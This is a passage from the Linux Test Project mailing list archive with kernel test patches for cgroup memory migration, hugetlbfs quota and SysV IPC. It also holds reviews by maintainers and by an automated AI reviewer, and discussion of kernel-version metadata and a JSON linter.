+	long baseline_b, after_migrate, after_alloc2, current_a;
+	worker_resumed = false;
+
+	group_a = tst_cg_group_mk(tst_cg, "group_a");
+	group_b = tst_cg_group_mk(tst_cg, "group_b");
+
+	SAFE_CG_SCANF(group_b, "memory.current", "%ld", &baseline_b);
+	tst_res(TINFO, "group_b baseline memory.current=%ld", baseline_b);
+
+	pid = SAFE_FORK();
+	if (!pid) {
+		worker();
+		exit(0);
+	}
+
+	TST_CHECKPOINT_WAIT(WORKER_ALLOC_DONE);
+
+	SAFE_CG_SCANF(group_a, "memory.current", "%ld", &current_a);
+	tst_res(TINFO, "group_a memory.current=%ld after alloc", current_a);
+	if (current_a < (long)ALLOC_SIZE) {
+		tst_res(TFAIL,
+			"group_a memory.current (%ld) < ALLOC_SIZE (%ld)",
+			current_a, (long)ALLOC_SIZE);
+		goto done;
+	}
+	tst_res(TPASS,
+		"group_a memory.current (%ld) >= ALLOC_SIZE (%ld)",
+		current_a, (long)ALLOC_SIZE);
+
+	SAFE_CG_PRINTF(group_b, "cgroup.procs", "%d", pid);
+	tst_res(TINFO, "Migrated worker PID %d to group_b", pid);
+
+	SAFE_CG_SCANF(group_b, "memory.current", "%ld", &after_migrate);
+	tst_res(TINFO,
+		"group_b memory.current=%ld after migration (baseline=%ld)",
+		after_migrate, baseline_b);
+
+	TST_EXP_EXPR(after_migrate <= baseline_b + (long)MB(4),
+		     "group_b memory.current (%ld) not increased after migration (baseline=%ld)",
+		     after_migrate, baseline_b);
+
+	TST_CHECKPOINT_WAKE(WORKER_RESUME);
+	worker_resumed = true;
+	TST_CHECKPOINT_WAIT(WORKER_ALLOC2_DONE);
+
+	SAFE_CG_SCANF(group_b, "memory.current", "%ld", &after_alloc2);
+	tst_res(TINFO, "group_b memory.current=%ld after second alloc (baseline=%ld)",
+		after_alloc2, after_migrate);
+
+	TST_EXP_EXPR(after_alloc2 >= after_migrate + (long)ALLOC_SIZE2,
+		     "group_b memory.current (%ld) increased by >= ALLOC_SIZE2 (%ld)",
+		     after_alloc2, (long)ALLOC_SIZE2);
+
+done:
+	if (!worker_resumed) {
+		TST_CHECKPOINT_WAKE(WORKER_RESUME);
+		TST_CHECKPOINT_WAIT(WORKER_ALLOC2_DONE);
+	}
+	TST_CHECKPOINT_WAKE(WORKER_EXIT);
+	tst_reap_children();
+
+	group_a = tst_cg_group_rm(group_a);
+	group_b = tst_cg_group_rm(group_b);
+}
+
+static void cleanup(void)
+{
+	if (group_a)
+		group_a = tst_cg_group_rm(group_a);
+	if (group_b)
+		group_b = tst_cg_group_rm(group_b);
+}
+
+static struct tst_test test = {
+	.test_all	= test_memcg_task_migration,
+	.cleanup	= cleanup,
+	.forks_child	= 1,
+	.needs_root	= 1,
+	.needs_checkpoints = 1,
+	.needs_cgroup_ver  = TST_CG_V2,
+	.needs_cgroup_ctrls = (const char *const []){ "memory", NULL },
+};
-- 
2.55.0


From chrubis@suse.cz  Tue Aug  4 12:04:30 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Tue, 4 Aug 2026 12:04:30 +0200
Subject: [LTP] [PATCH] hugetlb/hugemmap: add hugemmap33 to test
 hugetlbfs quota accounting
In-Reply-To: <20260717160234.1163566-1-pavrampu@linux.ibm.com>
References: <20260717160234.1163566-1-pavrampu@linux.ibm.com>
Message-ID: <anG5Luzze1ffLUKi@yuki.lan>

Hi!
> diff --git a/runtest/hugetlb b/runtest/hugetlb
> index 8ee0e6f82..dbb05a9bc 100644
> --- a/runtest/hugetlb
> +++ b/runtest/hugetlb
> @@ -35,6 +35,7 @@ hugemmap29 hugemmap29
>  hugemmap30 hugemmap30
>  hugemmap31 hugemmap31
>  hugemmap32 hugemmap32
> +hugemmap33 hugemmap33
>  hugemmap34 hugemmap34
>  hugemmap35 hugemmap35
>  hugemmap05_1 hugemmap05 -m
> diff --git a/testcases/kernel/mem/.gitignore b/testcases/kernel/mem/.gitignore
> index 0e59035df..0dd0345c8 100644
> --- a/testcases/kernel/mem/.gitignore
> +++ b/testcases/kernel/mem/.gitignore
> @@ -35,6 +35,7 @@
>  /hugetlb/hugemmap/hugemmap30
>  /hugetlb/hugemmap/hugemmap31
>  /hugetlb/hugemmap/hugemmap32
> +/hugetlb/hugemmap/hugemmap33
>  /hugetlb/hugemmap/hugemmap34
>  /hugetlb/hugemmap/hugemmap35
>  /hugetlb/hugeshmat/hugeshmat01
> diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c
> new file mode 100644
> index 000000000..f5b2a6335
> --- /dev/null
> +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c
> @@ -0,0 +1,275 @@
> +// SPDX-License-Identifier: LGPL-2.1-or-later
> +/*
> + * Copyright (C) 2005-2007 David Gibson & Adam Litke, IBM Corporation.
> + * Copyright (c) Linux Test Project, 2024
> + * Copyright (C) 2025-2026 Naveed & Pavithra, IBM Corporation.
> + * Assisted with AI tools
> + */
> +
> +/*\
> + * Test hugetlbfs quota accounting with filesystem size limits.
> + *
> + * The number of global huge pages available to a mounted hugetlbfs filesystem
> + * can be limited using a quota mechanism by setting the size attribute at
> + * mount time. Older kernels did not properly handle quota accounting in a
> + * number of cases (e.g., for MAP_PRIVATE pages, and with MAP_SHARED reservation).
> + *
> + * This test replays some scenarios on a privately mounted filesystem with
> + * quota to check for regressions in hugetlbfs quota accounting.
> + *
> + * Root is required to mount the quota-limited hugetlbfs instance.
> + */
> +
> +#define _GNU_SOURCE
> +#include <sys/types.h>
> +#include <sys/wait.h>
> +#include <sys/vfs.h>
> +#include <sys/statfs.h>
> +#include <sys/mount.h>
> +
> +#include "hugetlb.h"
> +
> +#define MNTPOINT "hugetlbfs/"
> +
> +static long hpage_size;
> +static int private_resv;
> +static char quota_mnt[PATH_MAX];
> +static int quota_mounted;
> +
> +/* map action flags */
> +#define ACTION_COW		0x0001
> +#define ACTION_TOUCH		0x0002
> +
> +/* Test result expectations */
> +#define EXPECT_SUCCESS	0
> +#define EXPECT_SIGNAL	1
> +#define EXPECT_FAILURE	2
> +
> +static void verify_quota_stat(long tot, long free, long avail)
> +{
> +	struct statfs s;
> +
> +	SAFE_STATFS(quota_mnt, &s);
> +
> +	if ((long)s.f_blocks != tot || (long)s.f_bfree != free || (long)s.f_bavail != avail) {
> +		tst_res(TFAIL,
> +			"Bad quota counters: total=%li (expected %li), "
> +			"free=%li (expected %li), avail=%li (expected %li)",
> +			(long)s.f_blocks, tot, (long)s.f_bfree, free,
> +			(long)s.f_bavail, avail);
> +	}
> +}
> +
> +static void do_map(unsigned long size, int mmap_flags, int action_flags)
> +{
> +	int fd;
> +	char *a = MAP_FAILED, *b, *c = MAP_FAILED;
> +	char path[PATH_MAX + 32];
> +
> +	snprintf(path, sizeof(path), "%s/test_file_%d", quota_mnt, getpid());
> +	fd = SAFE_OPEN(path, O_CREAT | O_RDWR, 0600);
> +	SAFE_UNLINK(path);
> +
> +	a = mmap(NULL, size, PROT_READ | PROT_WRITE, mmap_flags, fd, 0);
> +	if (a == MAP_FAILED) {
> +		if (errno == ENOMEM || errno == ENOSPC) {
> +			tst_res(TINFO | TERRNO, "mmap failed as expected due to quota");
> +			goto cleanup_fd;
> +		}
> +		tst_brk(TBROK | TERRNO, "mmap failed unexpectedly");
> +	}
> +
> +	if (action_flags & ACTION_TOUCH) {
> +		for (b = a; b < a + size; b += hpage_size)
> +			*b = 1;
> +	}
> +
> +	if (action_flags & ACTION_COW) {
> +		c = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
> +		if (c == MAP_FAILED) {
> +			if (errno == ENOMEM || errno == ENOSPC) {
> +				tst_res(TINFO | TERRNO, "COW mapping failed as expected due to quota");
> +				goto cleanup_a;
> +			}
> +			tst_brk(TBROK | TERRNO, "COW mapping failed unexpectedly");
> +		}
> +
> +		if (*c != 1) {
> +			tst_res(TINFO, "Data mismatch when setting up COW");
> +			goto cleanup_c;
> +		}
> +		*c = 0;
> +		SAFE_MUNMAP(c, size);
> +	}
> +
> +	SAFE_MUNMAP(a, size);
> +	SAFE_CLOSE(fd);
> +	return;
> +
> +cleanup_c:
> +	SAFE_MUNMAP(c, size);
> +cleanup_a:
> +	SAFE_MUNMAP(a, size);
> +cleanup_fd:
> +	SAFE_CLOSE(fd);
> +	exit(1);
> +}
> +
> +static void run_quota_test(int expected_result,
> +			   unsigned long size, int mmap_flags,
> +			   int action_flags)
> +{
> +	pid_t pid;
> +	int status;
> +	int actual_result;
> +
> +	pid = SAFE_FORK();
> +	if (pid == 0) {
> +		do_map(size, mmap_flags, action_flags);
> +		exit(0);
> +	}
> +
> +	SAFE_WAITPID(pid, &status, 0);
> +
> +	if (WIFEXITED(status)) {
> +		if (WEXITSTATUS(status) == 0)
> +			actual_result = EXPECT_SUCCESS;
> +		else
> +			actual_result = EXPECT_FAILURE;

Test results must not be propagated via exit values, PASS/FAIL must be
reported exactly at the spot in the code where it happened.

> +	} else {
> +		actual_result = EXPECT_SIGNAL;
> +	}
> +
> +	if (actual_result != expected_result) {
> +		static const char * const result_names[] = {"success", "signal", "failure"};
> +
> +		tst_res(TFAIL,
> +			"Unexpected result: expected %s, got %s",
> +			result_names[expected_result],
> +			result_names[actual_result]);
> +	} else {
> +		tst_res(TPASS, "Quota test passed as expected");
> +	}
> +}
> +
> +static int kernel_has_private_reservations(void)
> +{
> +	int fd;
> +	long t, f, r, s;
> +	long nt, nf, nr, ns;
> +	void *p;
> +	char path[PATH_MAX];
> +
> +	t = SAFE_READ_MEMINFO(MEMINFO_HPAGE_TOTAL);
> +	f = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE);
> +	r = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD);
> +	s = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SURP);
> +
> +	snprintf(path, sizeof(path), "%s/test_priv_resv", MNTPOINT);
> +	fd = SAFE_OPEN(path, O_CREAT | O_RDWR, 0600);
> +	SAFE_UNLINK(path);
> +
> +	p = SAFE_MMAP(NULL, hpage_size, PROT_READ | PROT_WRITE,
> +		      MAP_PRIVATE, fd, 0);
> +
> +	nt = SAFE_READ_MEMINFO(MEMINFO_HPAGE_TOTAL);
> +	nf = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE);
> +	nr = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD);
> +	ns = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SURP);
> +
> +	SAFE_MUNMAP(p, hpage_size);
> +	SAFE_CLOSE(fd);
> +
> +	/* Check if reservation was created for private mapping */
> +	if ((nt == t + 1) && (nf == f + 1) && (ns == s + 1) && (nr == r + 1))
> +		return 1;
> +	else if ((nt == t) && (nf == f) && (ns == s)) {
> +		if (nr == r + 1)
> +			return 1;
> +		else if (nr == r)
> +			return 0;
> +	}
> +
> +	tst_brk(TCONF, "Unexpected counter state - "
> +		"T:%li F:%li R:%li S:%li -> T:%li F:%li R:%li S:%li",
> +		t, f, r, s, nt, nf, nr, ns);
> +	return -1;
> +}

Was this changed recently in kernel? Adding a git hash that changed the
kernel behavior into the test description would help.

Also if this was a bug, we have a rule in LTP not to work around kernel
bugs, if kernel is broken it's fine that the test fails.

> +static void run_test(void)
> +{
> +	int bad_priv_resv = private_resv ? EXPECT_FAILURE : EXPECT_SIGNAL;
> +
> +	tst_res(TINFO, "Testing unused quota cleanup for untouched mappings");
> +	run_quota_test(EXPECT_SUCCESS, hpage_size, MAP_PRIVATE, 0);
> +	verify_quota_stat(1, 1, 1);
> +	run_quota_test(EXPECT_SUCCESS, hpage_size, MAP_SHARED, 0);
> +	verify_quota_stat(1, 1, 1);
> +
> +	tst_res(TINFO, "Testing page instantiation within quota limits");
> +	run_quota_test(EXPECT_SUCCESS, hpage_size, MAP_PRIVATE, ACTION_TOUCH);
> +	run_quota_test(EXPECT_SUCCESS, hpage_size, MAP_SHARED, ACTION_TOUCH);
> +
> +	tst_res(TINFO, "Testing page instantiation over quota");
> +	run_quota_test(EXPECT_FAILURE, 2 * hpage_size, MAP_SHARED, ACTION_TOUCH);
> +
> +	tst_res(TINFO, "Testing private mapping quota check");
> +	run_quota_test(bad_priv_resv, 2 * hpage_size, MAP_PRIVATE, ACTION_TOUCH);
> +
> +	tst_res(TINFO, "Testing COW over quota");
> +	run_quota_test(bad_priv_resv, hpage_size, MAP_SHARED,
> +		       ACTION_TOUCH | ACTION_COW);
> +	run_quota_test(bad_priv_resv, hpage_size, MAP_PRIVATE,
> +		       ACTION_TOUCH | ACTION_COW);
> +
> +	tst_res(TINFO, "Testing operations within quota after failures");
> +	run_quota_test(EXPECT_SUCCESS, hpage_size, MAP_SHARED, ACTION_TOUCH);
> +	run_quota_test(EXPECT_SUCCESS, hpage_size, MAP_PRIVATE, ACTION_TOUCH);
> +}
> +
> +static void setup(void)
> +{
> +	char mount_opts[BUFSIZ];
> +
> +	hpage_size = tst_get_hugepage_size();
> +
> +	/* Create a quota-limited hugetlbfs mount */
> +	snprintf(quota_mnt, sizeof(quota_mnt), "%s/quota_test", MNTPOINT);
> +	SAFE_MKDIR(quota_mnt, 0755);
> +
> +	snprintf(mount_opts, sizeof(mount_opts), "size=%luK",
> +		 hpage_size / 1024);
> +
> +	if (mount("none", quota_mnt, "hugetlbfs", 0, mount_opts) == -1) {
> +		if (errno == ENODEV)
> +			tst_brk(TCONF, "hugetlbfs not supported");
> +		tst_brk(TBROK | TERRNO, "mount() failed");
> +	}
> +	quota_mounted = 1;

Since we cannot determine the size= parameter at a compile time (and
hence cannot pass it in tst_test struct) wouldn't it make more sense to
MS_REMOUNT the hugetlbfs already mounted in the test library with the
size parameter? Would that work?

It does seem strange to mount hugetlbfs twice and keep one mount unused.

> +	tst_res(TINFO, "Mounted hugetlbfs with quota at %s (size=%luK)",
> +		quota_mnt, hpage_size / 1024);
> +
> +	private_resv = kernel_has_private_reservations();
> +	tst_res(TINFO, "Kernel %s private reservations",
> +		private_resv ? "has" : "does not have");
> +}
> +
> +static void cleanup(void)
> +{
> +	if (quota_mounted) {
> +		SAFE_UMOUNT(quota_mnt);
> +		SAFE_RMDIR(quota_mnt);
> +	}
> +}
> +
> +static struct tst_test test = {
> +	.needs_root = 1,
> +	.mntpoint = MNTPOINT,
> +	.needs_hugetlbfs = 1,
> +	.forks_child = 1,
> +	.setup = setup,
> +	.cleanup = cleanup,
> +	.test_all = run_test,
> +	.hugepages = {2, TST_NEEDS},
> +};
> -- 
> 2.55.0
> 
> 
> -- 
> Mailing list info: https://lists.linux.it/listinfo/ltp

-- 
Cyril Hrubis
chrubis@suse.cz

From chrubis@suse.cz  Tue Aug  4 12:22:54 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Tue, 4 Aug 2026 12:22:54 +0200
Subject: [LTP] [PATCH] hugemmap/hugemmap38: migrate libhugetlbfs test
 truncate_reserve_wraparound.c
In-Reply-To: <20260718063815.1260992-1-pavrampu@linux.ibm.com>
References: <20260718063815.1260992-1-pavrampu@linux.ibm.com>
Message-ID: <anG9fmSpYvP5BoSG@yuki.lan>

Hi!
Please add versions to the patch (git-format-patch with -v2, -v3, -v4)
so that it's clear which patch is the latest one.

-- 
Cyril Hrubis
chrubis@suse.cz

From linuxtestproject.agent@gmail.com  Tue Aug  4 12:40:47 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Tue,  4 Aug 2026 10:40:47 +0000
Subject: [LTP] shell: enable OOM protection by default
In-Reply-To: <20260804-shell_oom_protection-v3-1-fe42b15d034c@suse.com>
References: <20260804-shell_oom_protection-v3-1-fe42b15d034c@suse.com>
Message-ID: <20260804104047.7850-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Aug 4, 2026, Andrea Cervesato wrote:
> shell: enable OOM protection by default

> +	if [ "$TST_OOM_PROTECTION" = 1 ]; then
> +		_tst_enable_oom_protection
> +	fi

Major: Could the test body run in an unprotected child here, as it does in
the C harness?

This sets -1000 on the same shell that later executes the test functions, so
all workloads forked by existing tests inherit OOM protection. For example,
memcg_limit_in_bytes.sh reaches test_proc_kill() and starts memcg_process in
the background. Linux 7.2 copies oom_score_adj on fork, and its cgroup
documentation says that tasks with -1000 are never killed. That path will
therefore report that memcg_process was not killed instead of observing the
expected cgroup OOM kill.

The commit message says that the test runs in a child, but this patch does not
create that boundary. tst_oom_unprotect() is only called by the new self-test,
so it does not reset the existing workload launch sites.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Tue Aug  4 12:41:58 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Tue,  4 Aug 2026 10:41:58 +0000
Subject: [LTP] memcg/memcontrol05: add cgroup v2 task migration charge
 accounting test
In-Reply-To: <20260804095925.495813-1-pavrampu@linux.ibm.com>
References: <20260804095925.495813-1-pavrampu@linux.ibm.com>
Message-ID: <20260804104158.9052-1-linuxtestproject.agent@gmail.com>

Hi Pavithra,

On Aug 4, 2026, Pavithra wrote:
> memcg/memcontrol05: add cgroup v2 task migration charge accounting test

> 	buf1 = SAFE_MMAP(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE,
> 			 MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
>
> 	TST_CHECKPOINT_WAKE(WORKER_ALLOC_DONE);
> [...]
> 	buf2 = SAFE_MMAP(NULL, ALLOC_SIZE2, PROT_READ | PROT_WRITE,
> 			 MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
>
> 	TST_CHECKPOINT_WAKE(WORKER_ALLOC2_DONE);

Could these mappings be populated by explicitly writing one byte per page,
and could the test declare an appropriate .min_mem_avail requirement?

mmap(2) states that mmap() does not fail when MAP_POPULATE cannot populate
the whole mapping. Linux 7.2 also discards mm_populate() errors. Under memory
pressure, the parent can therefore report TFAIL for an incomplete allocation
even though cgroup migration accounting is correct. The test needs 80 MB, but
currently has no memory prerequisite to turn that condition into TCONF.

> 	pid_t pid;
> 	long baseline_b, after_migrate, after_alloc2, current_a;
> 	worker_resumed = false;

Could a blank line be added after the declarations? check-memcontrol05
reports:

  memcontrol05.c:80: WARNING: Missing a blank line after declarations

>  * Two child cgroups (group_a, group_b) are created under the test cgroup.
>  * A worker process is placed in group_a and allocates a known amount of
> [...]
>  *   group_b/cgroup.procs. In cgroup v2 memory charges are never
> [...]
>  *   that allocated them. group_b/memory.current must not increase

Could identifiers and file names in this exported RST block use double
backticks as required for inline literals?

> 	.needs_root	= 1,

Could the description also state why root is required? Root-only tests must
document the reason; here it is needed to create cgroups and move the worker
through cgroup.procs.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From andrea.cervesato@suse.com  Tue Aug  4 13:27:05 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 11:27:05 +0000
Subject: [LTP] [PATCH] cgroup/cgroup_core03: convert to new LTP API with
 parameterised subtests
In-Reply-To: <20260731041949.26465-1-yeswanth@linux.ibm.com>
Message-ID: <6a71cc8a.c5b9c171.110ad2.4b49@mx.google.com>

Hi Yeswanth,

this patch is purely AI slop that is seriouly difficult to review.
If you _really_ want to use AI, please use
https://github.com/linux-test-project/ltp-agent that *at least*
configure your agent to use the right rules when generating code in
LTP.

The patch is rejected.

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Tue Aug  4 13:30:21 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 11:30:21 +0000
Subject: [LTP] shell: enable OOM protection by default
In-Reply-To: <20260804104047.7850-1-linuxtestproject.agent@gmail.com>
Message-ID: <6a71cd4e.97b59ccb.1e4332.3163@mx.google.com>

Hi,

> Major: Could the test body run in an unprotected child here, as it does in
> the C harness?
> 
> This sets -1000 on the same shell that later executes the test functions, so
> all workloads forked by existing tests inherit OOM protection. For example,
> memcg_limit_in_bytes.sh reaches test_proc_kill() and starts memcg_process in
> the background. Linux 7.2 copies oom_score_adj on fork, and its cgroup
> documentation says that tasks with -1000 are never killed. That path will
> therefore report that memcg_process was not killed instead of observing the
> expected cgroup OOM kill.
> 
> The commit message says that the test runs in a child, but this patch does not
> create that boundary. tst_oom_unprotect() is only called by the new self-test,
> so it does not reset the existing workload launch sites.

the review is correct, I will sent a new version.

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Tue Aug  4 13:53:31 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 11:53:31 +0000
Subject: [LTP] [PATCH v3] metadata: add linter for JSON file
In-Reply-To: <anCSiSrmcM1BTfmd@yuki.lan>
Message-ID: <6a71d2bb.3fefe569.37edfb.0582@mx.google.com>

Hi Cyril,

> What I had in mind for make check is that there would be a single test
> mode "-t" switch and we would skip the extract_tests and passed the JSON
> right to lint_tests()
> 
> ./metaparse foo.c | lint.py -t

ok, so as far as I understand, you don't want to have a linter that checks
automatically for all tests in metadata, but selectively check the one we
need? Considering how fast we are to parse metadata and to run linter,
we are 1 pipe away from your solution by using grep:

    lint.py metadata.json | grep <test>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From chrubis@suse.cz  Tue Aug  4 14:02:35 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Tue, 4 Aug 2026 14:02:35 +0200
Subject: [LTP] [PATCH v3] metadata: add linter for JSON file
In-Reply-To: <6a71d2bb.3fefe569.37edfb.0582@mx.google.com>
References: <anCSiSrmcM1BTfmd@yuki.lan>
 <6a71d2bb.3fefe569.37edfb.0582@mx.google.com>
Message-ID: <anHU21C6px2vFMyD@yuki.lan>

Hi!
> > What I had in mind for make check is that there would be a single test
> > mode "-t" switch and we would skip the extract_tests and passed the JSON
> > right to lint_tests()
> > 
> > ./metaparse foo.c | lint.py -t
> 
> ok, so as far as I understand, you don't want to have a linter that checks
> automatically for all tests in metadata, but selectively check the one we
> need? Considering how fast we are to parse metadata and to run linter,
> we are 1 pipe away from your solution by using grep:
> 
>     lint.py metadata.json | grep <test>

I want both, this single file should be part of make check-foo

-- 
Cyril Hrubis
chrubis@suse.cz

From pvorel@suse.cz  Tue Aug  4 14:02:43 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Tue, 4 Aug 2026 14:02:43 +0200
Subject: [LTP] [RFC] Re: lib: Rename function check_kver() =>
 check_min_kver()
In-Reply-To: <anGDa2dL19wKNtf6@linux.dev>
References: <20260731124232.GB196217@pevik>
 <6a6c98c6.3c943127.1c122.1c09@mx.google.com>
 <20260803130645.GA246496@pevik> <anF5lV_yjqn8OuVE@linux.dev>
 <anGDa2dL19wKNtf6@linux.dev>
Message-ID: <20260804120243.GA285156@pevik>

Hi Li, all,

> On Tue, Aug 04, 2026 at 01:33:09PM +0800, Li Wang wrote:
> > Petr Vorel wrote:

> > > Hi all,

> > > > > In that case we want to have both in a single commit, right?
> > > > > => yet another version.

> > > > Yes, I think so

> > > I'm not sure what's reasonable, therefore RFC please.

> > > We can for sure can have test with both flags, .min_kver < .max_kver:

> > > .min_kver = "6.5"
> > > .max_kver = "7.2"

> > > which will be tested on kernels <6.5, 7.2> (including all their stable
> > > versions). Here the code works like (using AND):

> > > $(uname -r) >= .min_kver && $(uname -r) <= .max_kver

> > This above is no porblem.

+1

> > > (BTW although current version prints only the version which is not sufficient.
> > > And I think it's better than print the range without specifying which version is
> > > not sufficient).

> > > But can we have also a variant when .min_kver > .max_kver (using OR)?

> > No, please don't do this :).

> > When I see:

> > 	.min_kver = "7.2",
> > 	.max_kver = "6.10",

> > my first assumption would be that the metadata is wrong,
> > not that it means:

Agree, it'd be confusing.

> > 	kver >= 7.2 || kver <= 6.10

> > So this could easily hide real mistakes. If somebody accidentally
> > swaps the two values, the framework would silently accept it and
> > run the test on a different set of kernels instead of reporting
> > an invalid range.

Agree.

> > I think .min_kver/.max_kver should keep simple AND semantics only,
> > and .min_kver > .max_kver should be rejected, or at least reported
> > as broken test metadata.

I can add this check in new version.


FYI other changes will be
Actually remove any version restriction for creat07.c and execve04.c (ETXTBSY is
required due revert as Cyril found and this revert was backported).

+ what we already discussed:

include/tst_test.h
- * on any stable release (test with ``min_kver = "7.1"`` runs also on kernel
+ * on any stable release (test with ``max_kver = "7.1"`` runs also on kernel

lib/tst_test.c
-       for (i=0, dots=0; max_kver[i]; i++)
+       for (i = 0, dots = 0; max_kver[i]; i++)

> > If we really need to express "run on old kernels and new kernels,
> > but skip a broken middle range", I think it would be better to handle
> > that explicitly in the test code. That would be a bit more verbose,
> > but much easier to read and review.

Agree, but we also loose this info from the metadata.

> Or, we could achive something simply:

>     .supported_kvers = {
>             "<= 6.10",
>             ">= 7.2",
>     },

Using arrays is a good idea, thanks. We would still somehow decide which boolean
should be used (OR or AND), by some flag (e.g. having supported_kvers struct with
array of values and int flag).

> But I don't think there is currently a strong demand for this.

+1. I'd postpone this until it's actually needed (if ever).
Thanks for your feedback!

Kind regards,
Petr

From andrea.cervesato@suse.com  Tue Aug  4 14:11:17 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 12:11:17 +0000
Subject: [LTP] [PATCH v3] metadata: add linter for JSON file
In-Reply-To: <anHU21C6px2vFMyD@yuki.lan>
Message-ID: <6a71d6e6.b251136a.ad181.4a5b@mx.google.com>

> I want both, this single file should be part of make check-foo

what the -t should do? at the moment lint.py already supports stdin

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From chrubis@suse.cz  Tue Aug  4 14:25:52 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Tue, 4 Aug 2026 14:25:52 +0200
Subject: [LTP] hugemmap/hugemmap41: Migrate ptrace-write-hugepage from
 libhugetlbfs
In-Reply-To: <20260717191358.4170-1-linuxtestproject.agent@gmail.com>
References: <20260717180533.1203314-1-pavrampu@linux.ibm.com>
 <20260717191358.4170-1-linuxtestproject.agent@gmail.com>
Message-ID: <anHaUBEks1Kzq9_-@yuki.lan>

Hi!
@Andrea looks like the CI missed a few things in the code, see my
review.

-- 
Cyril Hrubis
chrubis@suse.cz

From andrea.cervesato@suse.com  Tue Aug  4 14:28:20 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 12:28:20 +0000
Subject: [LTP] hugemmap/hugemmap41: Migrate ptrace-write-hugepage from
 libhugetlbfs
In-Reply-To: <anHaUBEks1Kzq9_-@yuki.lan>
Message-ID: <6a71dae5.9b1caefb.2cdef6.e116@mx.google.com>

> @Andrea looks like the CI missed a few things in the code, see my
> review.

I think at that point we were still using Sonnet which is not the
sweet spot. Now it should be better.

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Tue Aug  4 15:03:19 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 13:03:19 +0000
Subject: [LTP] [PATCH v15] semctl01: fix SEM_STAT failures under
 parallel LTP runs
In-Reply-To: <20260730171956.237584-1-sbertram@redhat.com>
Message-ID: <6a71e319.f3563870.23dd1e.b354@mx.google.com>

Hi Stephan,

> diff --git a/include/tse_newipc.h b/include/tse_newipc.h
> index 1d3bbd129..175a60234 100644
> --- a/include/tse_newipc.h
> +++ b/include/tse_newipc.h
> @@ -49,4 +49,24 @@ void *probe_free_addr(const char *file, const int lineno);
>  #define PROBE_FREE_ADDR() \
>  	probe_free_addr(__FILE__, __LINE__)
>  
> +/**
> + * get_ipc_idx_from_id() - Find the kernel index of an IPC resource by id.
> + *
> + * @id: The msqid/semid/shmid to look for.
> + * @max_idx: Highest kernel index to search, from IPC_INFO/SEM_INFO/SHM_INFO.
> + * @stat_fn: Per-family *_STAT wrapper called as stat_fn(idx, buf) for
> + *           each idx in [0, max_idx]; must return the id at idx, or -1
> + *           on error, without aborting the test.
> + * @buf: Buffer passed through to @stat_fn.
> + *
> + * SysV *_STAT commands (MSG_STAT/SEM_STAT/SHM_STAT) take a kernel array
> + * index rather than the id returned by *get(), and that index is not
> + * guaranteed to match the id when other IPC users are active. This walks
> + * the live indices to find the one that currently maps to @id.
> + *
> + * Return: The kernel index mapping to @id, or -1 if none was found.
> + */
> +int get_ipc_idx_from_id(int id, int max_idx,
> +			int (*stat_fn)(int idx, void *buf), void *buf);
> +
>  #endif /* tse_newipc.h */
> diff --git a/libs/newipc/tse_newipc.c b/libs/newipc/tse_newipc.c
> index f7edda6b5..aee286a31 100644
> --- a/libs/newipc/tse_newipc.c
> +++ b/libs/newipc/tse_newipc.c
> @@ -86,3 +86,16 @@ void *probe_free_addr(const char *file, const int lineno)
>  
>  	return addr;
>  }
> +
> +int get_ipc_idx_from_id(int id, int max_idx,
> +			int (*stat_fn)(int idx, void *buf), void *buf)
> +{
> +	int i;
> +
> +	for (i = 0; i <= max_idx; i++) {
> +		if (stat_fn(i, buf) == id)
> +			return i;
> +	}
> +
> +	return -1;
> +}

can we add patch 1/2 for this..

> diff --git a/testcases/kernel/syscalls/semctl/Makefile b/testcases/kernel/syscalls/semctl/Makefile
> index 0e7223998..1f1ec9c81 100644
> --- a/testcases/kernel/syscalls/semctl/Makefile
> +++ b/testcases/kernel/syscalls/semctl/Makefile
> @@ -8,6 +8,6 @@ LTPLIBS = ipc newipc
>  include $(top_srcdir)/include/mk/testcases.mk
>  
